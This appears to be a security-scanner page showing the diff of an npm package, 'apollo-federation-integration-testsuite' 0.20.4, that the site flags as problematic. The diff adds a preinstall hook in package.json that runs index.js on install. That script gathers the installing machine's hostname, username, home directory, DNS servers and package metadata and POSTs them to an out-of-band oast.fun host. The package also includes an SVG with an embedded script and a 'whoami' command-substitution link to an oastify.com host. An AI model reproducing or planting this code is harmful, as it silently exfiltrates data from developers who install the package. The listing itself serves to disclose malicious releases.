apollo-federation-integration-testsuite 0.20.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of apollo-federation-integration-testsuite might be problematic. Click here for more details.
- package/evil.svg +10 -0
- package/index.js +46 -0
- package/package.json +12 -0
package/evil.svg
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
<?xml version="1.0" standalone="no"?>
|
2
|
+
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
3
|
+
|
4
|
+
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
5
|
+
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
|
6
|
+
<a xlink:href="`whoami`@mrhs050oamza9b45ie7qwwhhn8tzho.oastify.com">
|
7
|
+
<script type="text/javascript">
|
8
|
+
alert("Hacked");
|
9
|
+
</script>
|
10
|
+
</svg>
|
package/index.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "chg7txk2vtc0000jn7eggead7qayyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "apollo-federation-integration-testsuite",
|
3
|
+
"version": "0.20.4",
|
4
|
+
"description": "package hijack",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Moin Khokhar",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|